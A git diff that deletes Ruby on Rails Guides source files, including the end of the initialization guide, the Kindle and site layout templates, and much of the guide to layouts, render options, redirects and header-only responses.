console.formatter = Rails.logger.formatter - console.level = Rails.logger.level - - unless ActiveSupport::Logger.logger_outputs_to?(Rails.logger, STDOUT) - Rails.logger.extend(ActiveSupport::Logger.broadcast(console)) - end - end -``` - -This is where the first output of the Rails initialization happens. This method -creates a trap for `INT` signals, so if you `CTRL-C` the server, it will exit the -process. As we can see from the code here, it will create the `tmp/cache`, -`tmp/pids`, and `tmp/sockets` directories. It then enables caching in development -if `rails server` is called with `--dev-caching`. Finally, it calls `wrapped_app` which is -responsible for creating the Rack app, before creating and assigning an instance -of `ActiveSupport::Logger`. - -The `super` method will call `Rack::Server.start` which begins its definition like this: - -```ruby -def start &blk - if options[:warn] - $-w = true - end - - if includes = options[:include] - $LOAD_PATH.unshift(*includes) - end - - if library = options[:require] - require library - end - - if options[:debug] - $DEBUG = true - require 'pp' - p options[:server] - pp wrapped_app - pp app - end - - check_pid! if options[:pid] - - # Touch the wrapped app, so that the config.ru is loaded before - # daemonization (i.e. before chdir, etc). - wrapped_app - - daemonize_app if options[:daemonize] - - write_pid if options[:pid] - - trap(:INT) do - if server.respond_to?(:shutdown) - server.shutdown - else - exit - end - end - - server.run wrapped_app, options, &blk -end -``` - -The interesting part for a Rails app is the last line, `server.run`. Here we encounter the `wrapped_app` method again, which this time -we're going to explore more (even though it was executed before, and -thus memoized by now). - -```ruby -@wrapped_app ||= build_app app -``` - -The `app` method here is defined like so: - -```ruby -def app - @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config -end -... -private - def build_app_and_options_from_config - if !::File.exist? options[:config] - abort "configuration #{options[:config]} not found" - end - - app, options = Rack::Builder.parse_file(self.options[:config], opt_parser) - self.options.merge! options - app - end - - def build_app_from_string - Rack::Builder.new_from_string(self.options[:builder]) - end -``` - -The `options[:config]` value defaults to `config.ru` which contains this: - -```ruby -# This file is used by Rack-based servers to start the application. - -require_relative 'config/environment' -run <%= app_const %> -``` - - -The `Rack::Builder.parse_file` method here takes the content from this `config.ru` file and parses it using this code: - -```ruby -app = new_from_string cfgfile, config - -... - -def self.new_from_string(builder_script, file="(rackup)") - eval "Rack::Builder.new {\n" + builder_script + "\n}.to_app", - TOPLEVEL_BINDING, file, 0 -end -``` - -The `initialize` method of `Rack::Builder` will take the block here and execute it within an instance of `Rack::Builder`. This is where the majority of the initialization process of Rails happens. The `require` line for `config/environment.rb` in `config.ru` is the first to run: - -```ruby -require_relative 'config/environment' -``` - -### `config/environment.rb` - -This file is the common file required by `config.ru` (`rails server`) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup. - -This file begins with requiring `config/application.rb`: - -```ruby -require_relative 'application' -``` - -### `config/application.rb` - -This file requires `config/boot.rb`: - -```ruby -require_relative 'boot' -``` - -But only if it hasn't been required before, which would be the case in `rails server` -but **wouldn't** be the case with Passenger. - -Then the fun begins! - -Loading Rails -------------- - -The next line in `config/application.rb` is: - -```ruby -require 'rails/all' -``` - -### `railties/lib/rails/all.rb` - -This file is responsible for requiring all the individual frameworks of Rails: - -```ruby -require "rails" - -%w( - active_record/railtie - action_controller/railtie - action_view/railtie - action_mailer/railtie - active_job/railtie - action_cable/engine - rails/test_unit/railtie - sprockets/railtie -).each do |railtie| - begin - require railtie - rescue LoadError - end -end -``` - -This is where all the Rails frameworks are loaded and thus made -available to the application. We won't go into detail of what happens -inside each of those frameworks, but you're encouraged to try and -explore them on your own. - -For now, just keep in mind that common functionality like Rails engines, -I18n and Rails configuration are all being defined here. - -### Back to `config/environment.rb` - -The rest of `config/application.rb` defines the configuration for the -`Rails::Application` which will be used once the application is fully -initialized. When `config/application.rb` has finished loading Rails and defined -the application namespace, we go back to `config/environment.rb`. Here, the -application is initialized with `Rails.application.initialize!`, which is -defined in `rails/application.rb`. - -### `railties/lib/rails/application.rb` - -The `initialize!` method looks like this: - -```ruby -def initialize!(group=:default) #:nodoc: - raise "Application has been already initialized." if @initialized - run_initializers(group, self) - @initialized = true - self -end -``` - -As you can see, you can only initialize an app once. The initializers are run through -the `run_initializers` method which is defined in `railties/lib/rails/initializable.rb`: - -```ruby -def run_initializers(group=:default, *args) - return if instance_variable_defined?(:@ran) - initializers.tsort_each do |initializer| - initializer.run(*args) if initializer.belongs_to?(group) - end - @ran = true -end -``` - -The `run_initializers` code itself is tricky. What Rails is doing here is -traversing all the class ancestors looking for those that respond to an -`initializers` method. It then sorts the ancestors by name, and runs them. -For example, the `Engine` class will make all the engines available by -providing an `initializers` method on them. - -The `Rails::Application` class, as defined in `railties/lib/rails/application.rb` -defines `bootstrap`, `railtie`, and `finisher` initializers. The `bootstrap` initializers -prepare the application (like initializing the logger) while the `finisher` -initializers (like building the middleware stack) are run last. The `railtie` -initializers are the initializers which have been defined on the `Rails::Application` -itself and are run between the `bootstrap` and `finishers`. - -After this is done we go back to `Rack::Server`. - -### Rack: lib/rack/server.rb - -Last time we left when the `app` method was being defined: - -```ruby -def app - @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config -end -... -private - def build_app_and_options_from_config - if !::File.exist? options[:config] - abort "configuration #{options[:config]} not found" - end - - app, options = Rack::Builder.parse_file(self.options[:config], opt_parser) - self.options.merge! options - app - end - - def build_app_from_string - Rack::Builder.new_from_string(self.options[:builder]) - end -``` - -At this point `app` is the Rails app itself (a middleware), and what -happens next is Rack will call all the provided middlewares: - -```ruby -def build_app(app) - middleware[options[:environment]].reverse_each do |middleware| - middleware = middleware.call(self) if middleware.respond_to?(:call) - next unless middleware - klass = middleware.shift - app = klass.new(app, *middleware) - end - app -end -``` - -Remember, `build_app` was called (by `wrapped_app`) in the last line of `Server#start`. -Here's how it looked like when we left: - -```ruby -server.run wrapped_app, options, &blk -``` - -At this point, the implementation of `server.run` will depend on the -server you're using. For example, if you were using Puma, here's what -the `run` method would look like: - -```ruby -... -DEFAULT_OPTIONS = { - :Host => '0.0.0.0', - :Port => 8080, - :Threads => '0:16', - :Verbose => false -} - -def self.run(app, options = {}) - options = DEFAULT_OPTIONS.merge(options) - - if options[:Verbose] - app = Rack::CommonLogger.new(app, STDOUT) - end - - if options[:environment] - ENV['RACK_ENV'] = options[:environment].to_s - end - - server = ::Puma::Server.new(app) - min, max = options[:Threads].split(':', 2) - - puts "Puma #{::Puma::Const::PUMA_VERSION} starting..." - puts "* Min threads: #{min}, max threads: #{max}" - puts "* Environment: #{ENV['RACK_ENV']}" - puts "* Listening on tcp://#{options[:Host]}:#{options[:Port]}" - - server.add_tcp_listener options[:Host], options[:Port] - server.min_threads = min - server.max_threads = max - yield server if block_given? - - begin - server.run.join - rescue Interrupt - puts "* Gracefully stopping, waiting for requests to finish" - server.stop(true) - puts "* Goodbye!" - end - -end -``` - -We won't dig into the server configuration itself, but this is -the last piece of our journey in the Rails initialization process. - -This high level overview will help you understand when your code is -executed and how, and overall become a better Rails developer. If you -still want to know more, the Rails source code itself is probably the -best place to go next. diff --git a/source/kindle/copyright.html.erb b/source/kindle/copyright.html.erb deleted file mode 100644 index bd51d87..0000000 --- a/source/kindle/copyright.html.erb +++ /dev/null @@ -1 +0,0 @@ -<%= render 'license' %> \ No newline at end of file diff --git a/source/kindle/layout.html.erb b/source/kindle/layout.html.erb deleted file mode 100644 index fd87467..0000000 --- a/source/kindle/layout.html.erb +++ /dev/null @@ -1,27 +0,0 @@ - - - - - - -<%= yield(:page_title) || 'Ruby on Rails Guides' %> - - - - - - - <% if content_for? :header_section %> - <%= yield :header_section %> -
- <% end %> - - <% if content_for? :index_section %> - <%= yield :index_section %> -
- <% end %> - - <%= yield.html_safe %> - - diff --git a/source/kindle/rails_guides.opf.erb b/source/kindle/rails_guides.opf.erb deleted file mode 100644 index 63eeb00..0000000 --- a/source/kindle/rails_guides.opf.erb +++ /dev/null @@ -1,52 +0,0 @@ - - - - - - - - Ruby on Rails Guides (<%= @version || "master@#{@edge[0, 7]}" %>) - - en-us - Ruby on Rails - Ruby on Rails - Reference - <%= Time.now.strftime('%Y-%m-%d') %> - - These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together. - - - - - - - - - <% documents_flat.each do |document| %> - - <% end %> - - <% %w{toc.html credits.html welcome.html copyright.html}.each do |url| %> - - <% end %> - - - - - - - - - - - - <% documents_flat.each do |document| %> - - <% end %> - - - - - - - diff --git a/source/kindle/toc.html.erb b/source/kindle/toc.html.erb deleted file mode 100644 index f310edd..0000000 --- a/source/kindle/toc.html.erb +++ /dev/null @@ -1,24 +0,0 @@ -<% content_for :page_title do %> -Ruby on Rails Guides -<% end %> - -

Table of Contents

-
- -<% documents_by_section.each_with_index do |section, i| %> -

<%= "#{i + 1}." %> <%= section['name'] %>

-
    - <% section['documents'].each do |document| %> -
  • - <%= document['name'] %> - <% if document['work_in_progress']%>(WIP)<% end %> -
  • - <% end %> -
-<% end %> -
- -
diff --git a/source/kindle/toc.ncx.erb b/source/kindle/toc.ncx.erb deleted file mode 100644 index 5094fea..0000000 --- a/source/kindle/toc.ncx.erb +++ /dev/null @@ -1,64 +0,0 @@ - - - - - - - - - - -Ruby on Rails Guides -docrails - - - - Table of Contents - - - - - - Introduction - - - - - - Welcome - - - - - Credits - - - - Copyright & License - - - - - <% play_order = 4 %> - <% documents_by_section.each_with_index do |section, section_no| %> - - - <%= section['name'] %> - - - - <% section['documents'].each_with_index do |document, document_no| %> - - - <%= document['name'] %> - - - - <% end %> - - <% end %> - - - - diff --git a/source/kindle/welcome.html.erb b/source/kindle/welcome.html.erb deleted file mode 100644 index ef3397f..0000000 --- a/source/kindle/welcome.html.erb +++ /dev/null @@ -1,7 +0,0 @@ -<%= render 'welcome' %> - -

Kindle Edition

- -
- The Kindle Edition of the Rails Guides should be considered a work in progress. Feedback is really welcome. Please see the "Feedback" section at the end of each guide for instructions. -
diff --git a/source/layout.html.erb b/source/layout.html.erb deleted file mode 100644 index bb50761..0000000 --- a/source/layout.html.erb +++ /dev/null @@ -1,138 +0,0 @@ - - - - - - - -<%= yield(:page_title) || 'Ruby on Rails Guides' %> - - - - - - - - - - - - <% if @edge %> -
- edge-badge -
- <% end %> -
-
- More at rubyonrails.org: - - More Ruby on Rails - - -
-
- -
- -
-
- <%= yield :header_section %> - - <%= yield :index_section %> -
-
- -
-
-
- <%= yield %> - -

Feedback

-

- You're encouraged to help improve the quality of this guide. -

-

- Please contribute if you see any typos or factual errors. - To get started, you can read our <%= link_to 'documentation contributions', 'http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation' %> section. -

-

- You may also find incomplete content, or stuff that is not up to date. - Please do add any missing documentation for master. Make sure to check - <%= link_to 'Edge Guides','http://edgeguides.rubyonrails.org/' %> first to verify - if the issues are already fixed or not on the master branch. - Check the <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %> - for style and conventions. -

-

- If for whatever reason you spot something to fix but cannot patch it yourself, please - <%= link_to 'open an issue', 'https://github.com/rails/rails/issues' %>. -

-

And last but not least, any kind of discussion regarding Ruby on Rails - documentation is very welcome in the <%= link_to 'rubyonrails-docs mailing list', 'https://groups.google.com/forum/#!forum/rubyonrails-docs' %>. -

-
-
-
- -
- - - - - - - - - diff --git a/source/layouts_and_rendering.md b/source/layouts_and_rendering.md deleted file mode 100644 index 48bb314..0000000 --- a/source/layouts_and_rendering.md +++ /dev/null @@ -1,1328 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Layouts and Rendering in Rails -============================== - -This guide covers the basic layout features of Action Controller and Action View. - -After reading this guide, you will know: - -* How to use the various rendering methods built into Rails. -* How to create layouts with multiple content sections. -* How to use partials to DRY up your views. -* How to use nested layouts (sub-templates). - --------------------------------------------------------------------------------- - -Overview: How the Pieces Fit Together -------------------------------------- - -This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide. - -In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide. - -Creating Responses ------------------- - -From the controller's point of view, there are three ways to create an HTTP response: - -* Call `render` to create a full response to send back to the browser -* Call `redirect_to` to send an HTTP redirect status code to the browser -* Call `head` to create a response consisting solely of HTTP headers to send back to the browser - -### Rendering by Default: Convention Over Configuration in Action - -You've heard that Rails promotes "convention over configuration". Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to valid routes. For example, if you have this code in your `BooksController` class: - -```ruby -class BooksController < ApplicationController -end -``` - -And the following in your routes file: - -```ruby -resources :books -``` - -And you have a view file `app/views/books/index.html.erb`: - -```html+erb -

Books are coming soon!

-``` - -Rails will automatically render `app/views/books/index.html.erb` when you navigate to `/books` and you will see "Books are coming soon!" on your screen. - -However a coming soon screen is only minimally useful, so you will soon create your `Book` model and add the index action to `BooksController`: - -```ruby -class BooksController < ApplicationController - def index - @books = Book.all - end -end -``` - -Note that we don't have explicit render at the end of the index action in accordance with "convention over configuration" principle. The rule is that if you do not explicitly render something at the end of a controller action, Rails will automatically look for the `action_name.html.erb` template in the controller's view path and render it. So in this case, Rails will render the `app/views/books/index.html.erb` file. - -If we want to display the properties of all the books in our view, we can do so with an ERB template like this: - -```html+erb -

Listing Books

- - - - - - - - - - -<% @books.each do |book| %> - - - - - - - -<% end %> -
TitleSummary
<%= book.title %><%= book.content %><%= link_to "Show", book %><%= link_to "Edit", edit_book_path(book) %><%= link_to "Remove", book, method: :delete, data: { confirm: "Are you sure?" } %>
- -
- -<%= link_to "New book", new_book_path %> -``` - -NOTE: The actual rendering is done by subclasses of `ActionView::TemplateHandlers`. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. Beginning with Rails 2, the standard extensions are `.erb` for ERB (HTML with embedded Ruby), and `.builder` for Builder (XML generator). - -### Using `render` - -In most cases, the `ActionController::Base#render` method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of `render`. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well. - -TIP: If you want to see the exact results of a call to `render` without needing to inspect it in a browser, you can call `render_to_string`. This method takes exactly the same options as `render`, but it returns a string instead of sending a response back to the browser. - -#### Rendering an Action's View - -If you want to render the view that corresponds to a different template within the same controller, you can use `render` with the name of the view: - -```ruby -def update - @book = Book.find(params[:id]) - if @book.update(book_params) - redirect_to(@book) - else - render "edit" - end -end -``` - -If the call to `update` fails, calling the `update` action in this controller will render the `edit.html.erb` template belonging to the same controller. - -If you prefer, you can use a symbol instead of a string to specify the action to render: - -```ruby -def update - @book = Book.find(params[:id]) - if @book.update(book_params) - redirect_to(@book) - else - render :edit - end -end -``` - -#### Rendering an Action's Template from Another Controller - -What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with `render`, which accepts the full path (relative to `app/views`) of the template to render. For example, if you're running code in an `AdminProductsController` that lives in `app/controllers/admin`, you can render the results of an action to a template in `app/views/products` this way: - -```ruby -render "products/show" -``` - -Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the `:template` option (which was required on Rails 2.2 and earlier): - -```ruby -render template: "products/show" -``` - -#### Rendering an Arbitrary File - -The `render` method can also use a view that's entirely outside of your application: - -```ruby -render file: "/u/apps/warehouse_app/current/app/views/products/show" -``` - -The `:file` option takes an absolute file-system path. Of course, you need to have rights -to the view that you're using to render the content. - -NOTE: Using the `:file` option in combination with users input can lead to security problems -since an attacker could use this action to access security sensitive files in your file system. - -NOTE: By default, the file is rendered using the current layout. - -TIP: If you're running Rails on Microsoft Windows, you should use the `:file` option to -render a file, because Windows filenames do not have the same format as Unix filenames. - -#### Wrapping it up - -The above three ways of rendering (rendering another template within the controller, rendering a template within another controller and rendering an arbitrary file on the file system) are actually variants of the same action. - -In fact, in the BooksController class, inside of the update action where we want to render the edit template if the book does not update successfully, all of the following render calls would all render the `edit.html.erb` template in the `views/books` directory: - -```ruby -render :edit -render action: :edit -render "edit" -render "edit.html.erb" -render action: "edit" -render action: "edit.html.erb" -render "books/edit" -render "books/edit.html.erb" -render template: "books/edit" -render template: "books/edit.html.erb" -render "/path/to/rails/app/views/books/edit" -render "/path/to/rails/app/views/books/edit.html.erb" -render file: "/path/to/rails/app/views/books/edit" -render file: "/path/to/rails/app/views/books/edit.html.erb" -``` - -Which one you use is really a matter of style and convention, but the rule of thumb is to use the simplest one that makes sense for the code you are writing. - -#### Using `render` with `:inline` - -The `render` method can do without a view completely, if you're willing to use the `:inline` option to supply ERB as part of the method call. This is perfectly valid: - -```ruby -render inline: "<% products.each do |p| %>

<%= p.name %>

<% end %>" -``` - -WARNING: There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead. - -By default, inline rendering uses ERB. You can force it to use Builder instead with the `:type` option: - -```ruby -render inline: "xml.p {'Horrid coding practice!'}", type: :builder -``` - -#### Rendering Text - -You can send plain text - with no markup at all - back to the browser by using -the `:plain` option to `render`: - -```ruby -render plain: "OK" -``` - -TIP: Rendering pure text is most useful when you're responding to Ajax or web -service requests that are expecting something other than proper HTML. - -NOTE: By default, if you use the `:plain` option, the text is rendered without -using the current layout. If you want Rails to put the text into the current -layout, you need to add the `layout: true` option and use the `.txt.erb` -extension for the layout file. - -#### Rendering HTML - -You can send an HTML string back to the browser by using the `:html` option to -`render`: - -```ruby -render html: "Not Found".html_safe -``` - -TIP: This is useful when you're rendering a small snippet of HTML code. -However, you might want to consider moving it to a template file if the markup -is complex. - -NOTE: When using `html:` option, HTML entities will be escaped if the string is not marked as HTML safe by using `html_safe` method. - -#### Rendering JSON - -JSON is a JavaScript data format used by many Ajax libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser: - -```ruby -render json: @product -``` - -TIP: You don't need to call `to_json` on the object that you want to render. If you use the `:json` option, `render` will automatically call `to_json` for you. - -#### Rendering XML - -Rails also has built-in support for converting objects to XML and rendering that XML back to the caller: - -```ruby -render xml: @product -``` - -TIP: You don't need to call `to_xml` on the object that you want to render. If you use the `:xml` option, `render` will automatically call `to_xml` for you. - -#### Rendering Vanilla JavaScript - -Rails can render vanilla JavaScript: - -```ruby -render js: "alert('Hello Rails');" -``` - -This will send the supplied string to the browser with a MIME type of `text/javascript`. - -#### Rendering raw body - -You can send a raw content back to the browser, without setting any content -type, by using the `:body` option to `render`: - -```ruby -render body: "raw" -``` - -TIP: This option should be used only if you don't care about the content type of -the response. Using `:plain` or `:html` might be more appropriate most of the -time. - -NOTE: Unless overridden, your response returned from this render option will be -`text/html`, as that is the default content type of Action Dispatch response. - -#### Options for `render` - -Calls to the `render` method generally accept five options: - -* `:content_type` -* `:layout` -* `:location` -* `:status` -* `:formats` - -##### The `:content_type` Option - -By default, Rails will serve the results of a rendering operation with the MIME content-type of `text/html` (or `application/json` if you use the `:json` option, or `application/xml` for the `:xml` option.). There are times when you might like to change this, and you can do so by setting the `:content_type` option: - -```ruby -render file: filename, content_type: "application/rss" -``` - -##### The `:layout` Option - -With most of the options to `render`, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide. - -You can use the `:layout` option to tell Rails to use a specific file as the layout for the current action: - -```ruby -render layout: "special_layout" -``` - -You can also tell Rails to render with no layout at all: - -```ruby -render layout: false -``` - -##### The `:location` Option - -You can use the `:location` option to set the HTTP `Location` header: - -```ruby -render xml: photo, location: photo_url(http://github.com/photo) -``` - -##### The `:status` Option - -Rails will automatically generate a response with the correct HTTP status code (in most cases, this is `200 OK`). You can use the `:status` option to change this: - -```ruby -render status: 500 -render status: :forbidden -``` - -Rails understands both numeric status codes and the corresponding symbols shown below. - -| Response Class | HTTP Status Code | Symbol | -| ------------------- | ---------------- | -------------------------------- | -| **Informational** | 100 | :continue | -| | 101 | :switching_protocols | -| | 102 | :processing | -| **Success** | 200 | :ok | -| | 201 | :created | -| | 202 | :accepted | -| | 203 | :non_authoritative_information | -| | 204 | :no_content | -| | 205 | :reset_content | -| | 206 | :partial_content | -| | 207 | :multi_status | -| | 208 | :already_reported | -| | 226 | :im_used | -| **Redirection** | 300 | :multiple_choices | -| | 301 | :moved_permanently | -| | 302 | :found | -| | 303 | :see_other | -| | 304 | :not_modified | -| | 305 | :use_proxy | -| | 307 | :temporary_redirect | -| | 308 | :permanent_redirect | -| **Client Error** | 400 | :bad_request | -| | 401 | :unauthorized | -| | 402 | :payment_required | -| | 403 | :forbidden | -| | 404 | :not_found | -| | 405 | :method_not_allowed | -| | 406 | :not_acceptable | -| | 407 | :proxy_authentication_required | -| | 408 | :request_timeout | -| | 409 | :conflict | -| | 410 | :gone | -| | 411 | :length_required | -| | 412 | :precondition_failed | -| | 413 | :payload_too_large | -| | 414 | :uri_too_long | -| | 415 | :unsupported_media_type | -| | 416 | :range_not_satisfiable | -| | 417 | :expectation_failed | -| | 422 | :unprocessable_entity | -| | 423 | :locked | -| | 424 | :failed_dependency | -| | 426 | :upgrade_required | -| | 428 | :precondition_required | -| | 429 | :too_many_requests | -| | 431 | :request_header_fields_too_large | -| **Server Error** | 500 | :internal_server_error | -| | 501 | :not_implemented | -| | 502 | :bad_gateway | -| | 503 | :service_unavailable | -| | 504 | :gateway_timeout | -| | 505 | :http_version_not_supported | -| | 506 | :variant_also_negotiates | -| | 507 | :insufficient_storage | -| | 508 | :loop_detected | -| | 510 | :not_extended | -| | 511 | :network_authentication_required | - -NOTE: If you try to render content along with a non-content status code -(100-199, 204, 205 or 304), it will be dropped from the response. - -##### The `:formats` Option - -Rails uses the format specified in the request (or `:html` by default). You can -change this passing the `:formats` option with a symbol or an array: - -```ruby -render formats: :xml -render formats: [:json, :xml] -``` - -If a template with the specified format does not exist an `ActionView::MissingTemplate` error is raised. - -#### Finding Layouts - -To find the current layout, Rails first looks for a file in `app/views/layouts` with the same base name as the controller. For example, rendering actions from the `PhotosController` class will use `app/views/layouts/photos.html.erb` (or `app/views/layouts/photos.builder`). If there is no such controller-specific layout, Rails will use `app/views/layouts/application.html.erb` or `app/views/layouts/application.builder`. If there is no `.erb` layout, Rails will use a `.builder` layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions. - -##### Specifying Layouts for Controllers - -You can override the default layout conventions in your controllers by using the `layout` declaration. For example: - -```ruby -class ProductsController < ApplicationController - layout "inventory" - #... -end -``` - -With this declaration, all of the views rendered by the `ProductsController` will use `app/views/layouts/inventory.html.erb` as their layout. - -To assign a specific layout for the entire application, use a `layout` declaration in your `ApplicationController` class: - -```ruby -class ApplicationController < ActionController::Base - layout "main" - #... -end -``` - -With this declaration, all of the views in the entire application will use `app/views/layouts/main.html.erb` for their layout. - -##### Choosing Layouts at Runtime - -You can use a symbol to defer the choice of layout until a request is processed: - -```ruby -class ProductsController < ApplicationController - layout :products_layout - - def show - @product = Product.find(params[:id]) - end - - private - def products_layout - @current_user.special? ? "special" : "products" - end - -end -``` - -Now, if the current user is a special user, they'll get a special layout when viewing a product. - -You can even use an inline method, such as a Proc, to determine the layout. For example, if you pass a Proc object, the block you give the Proc will be given the `controller` instance, so the layout can be determined based on the current request: - -```ruby -class ProductsController < ApplicationController - layout Proc.new { |controller| controller.request.xhr? ? "popup" : "application" } -end -``` - -##### Conditional Layouts - -Layouts specified at the controller level support the `:only` and `:except` options. These options take either a method name, or an array of method names, corresponding to method names within the controller: - -```ruby -class ProductsController < ApplicationController - layout "product", except: [:index, :rss] -end -``` - -With this declaration, the `product` layout would be used for everything but the `rss` and `index` methods. - -##### Layout Inheritance - -Layout declarations cascade downward in the hierarchy, and more specific layout declarations always override more general ones. For example: - -* `application_controller.rb` - - ```ruby - class ApplicationController < ActionController::Base - layout "main" - end - ``` - -* `articles_controller.rb` - - ```ruby - class ArticlesController < ApplicationController - end - ``` - -* `special_articles_controller.rb` - - ```ruby - class SpecialArticlesController < ArticlesController - layout "special" - end - ``` - -* `old_articles_controller.rb` - - ```ruby - class OldArticlesController < SpecialArticlesController - layout false - - def show - @article = Article.find(params[:id]) - end - - def index - @old_articles = Article.older - render layout: "old" - end - # ... - end - ``` - -In this application: - -* In general, views will be rendered in the `main` layout -* `ArticlesController#index` will use the `main` layout -* `SpecialArticlesController#index` will use the `special` layout -* `OldArticlesController#show` will use no layout at all -* `OldArticlesController#index` will use the `old` layout - -##### Template Inheritance - -Similar to the Layout Inheritance logic, if a template or partial is not found in the conventional path, the controller will look for a template or partial to render in its inheritance chain. For example: - -```ruby -# in app/controllers/application_controller -class ApplicationController < ActionController::Base -end - -# in app/controllers/admin_controller -class AdminController < ApplicationController -end - -# in app/controllers/admin/products_controller -class Admin::ProductsController < AdminController - def index - end -end -``` - -The lookup order for an `admin/products#index` action will be: - -* `app/views/admin/products/` -* `app/views/admin/` -* `app/views/application/` - -This makes `app/views/application/` a great place for your shared partials, which can then be rendered in your ERB as such: - -```erb -<%# app/views/admin/products/index.html.erb %> -<%= render @products || "empty_list" %> - -<%# app/views/application/_empty_list.html.erb %> -There are no items in this list yet. -``` - -#### Avoiding Double Render Errors - -Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that `render` works. - -For example, here's some code that will trigger this error: - -```ruby -def show - @book = Book.find(params[:id]) - if @book.special? - render action: "special_show" - end - render action: "regular_show" -end -``` - -If `@book.special?` evaluates to `true`, Rails will start the rendering process to dump the `@book` variable into the `special_show` view. But this will _not_ stop the rest of the code in the `show` action from running, and when Rails hits the end of the action, it will start to render the `regular_show` view - and throw an error. The solution is simple: make sure that you have only one call to `render` or `redirect` in a single code path. One thing that can help is `and return`. Here's a patched version of the method: - -```ruby -def show - @book = Book.find(params[:id]) - if @book.special? - render action: "special_show" and return - end - render action: "regular_show" -end -``` - -Make sure to use `and return` instead of `&& return` because `&& return` will not work due to the operator precedence in the Ruby Language. - -Note that the implicit render done by ActionController detects if `render` has been called, so the following will work without errors: - -```ruby -def show - @book = Book.find(params[:id]) - if @book.special? - render action: "special_show" - end -end -``` - -This will render a book with `special?` set with the `special_show` template, while other books will render with the default `show` template. - -### Using `redirect_to` - -Another way to handle returning responses to an HTTP request is with `redirect_to`. As you've seen, `render` tells Rails which view (or other asset) to use in constructing a response. The `redirect_to` method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call: - -```ruby -redirect_to photos_url -``` - -You can use `redirect_back` to return the user to the page they just came from. -This location is pulled from the `HTTP_REFERER` header which is not guaranteed -to be set by the browser, so you must provide the `fallback_location` -to use in this case. - -```ruby -redirect_back(fallback_location: root_path) -``` - -NOTE: `redirect_to` and `redirect_back` do not halt and return immediately from method execution, but simply set HTTP responses. Statements occurring after them in a method will be executed. You can halt by an explicit `return` or some other halting mechanism, if needed. - -#### Getting a Different Redirect Status Code - -Rails uses HTTP status code 302, a temporary redirect, when you call `redirect_to`. If you'd like to use a different status code, perhaps 301, a permanent redirect, you can use the `:status` option: - -```ruby -redirect_to photos_path, status: 301 -``` - -Just like the `:status` option for `render`, `:status` for `redirect_to` accepts both numeric and symbolic header designations. - -#### The Difference Between `render` and `redirect_to` - -Sometimes inexperienced developers think of `redirect_to` as a sort of `goto` command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code. - -Consider these actions to see the difference: - -```ruby -def index - @books = Book.all -end - -def show - @book = Book.find_by(id: params[:id]) - if @book.nil? - render action: "index" - end -end -``` - -With the code in this form, there will likely be a problem if the `@book` variable is `nil`. Remember, a `render :action` doesn't run any code in the target action, so nothing will set up the `@books` variable that the `index` view will probably require. One way to fix this is to redirect instead of rendering: - -```ruby -def index - @books = Book.all -end - -def show - @book = Book.find_by(id: params[:id]) - if @book.nil? - redirect_to action: :index - end -end -``` - -With this code, the browser will make a fresh request for the index page, the code in the `index` method will run, and all will be well. - -The only downside to this code is that it requires a round trip to the browser: the browser requested the show action with `/books/1` and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to `/books/`, the browser complies and sends a new request back to the controller asking now for the `index` action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen. - -While in a small application, this added latency might not be a problem, it is something to think about if response time is a concern. We can demonstrate one way to handle this with a contrived example: - -```ruby -def index - @books = Book.all -end - -def show - @book = Book.find_by(id: params[:id]) - if @book.nil? - @books = Book.all - flash.now[:alert] = "Your book was not found" - render "index" - end -end -``` - -This would detect that there are no books with the specified ID, populate the `@books` instance variable with all the books in the model, and then directly render the `index.html.erb` template, returning it to the browser with a flash alert message to tell the user what happened. - -### Using `head` To Build Header-Only Responses - -The `head` method can be used to send responses with only headers to the browser. The `head` method accepts a number or symbol (see [reference table](#the-status-option)) representing an HTTP status code. The options argument is interpreted as a hash of header names and values. For example, you can return only an error header: - -```ruby -head :bad_request -``` - -This would produce the following header: - -``` -HTTP/1.1 400 Bad Request -Connection: close -Date: Sun, 24 Jan 2010 12:15:53 GMT -Transfer-Encoding: chunked -Content-Type: text/html; charset=utf-8 -X-Runtime: 0.013483 -Set-Cookie: _blog_session=...snip...; path=/; HttpOnly -Cache-Control: no-cache -``` - -Or you can use other HTTP headers to convey other information: - -```ruby -head :created, location: photo_path(@photo) -``` - -Which would produce: - -``` -HTTP/1.1 201 Created -Connection: close -Date: Sun, 24 Jan 2010 12:16:44 GMT -Transfer-Encoding: chunked -Location: /photos/1 -Content-Type: text/html; charset=utf-8 -X-Runtime: 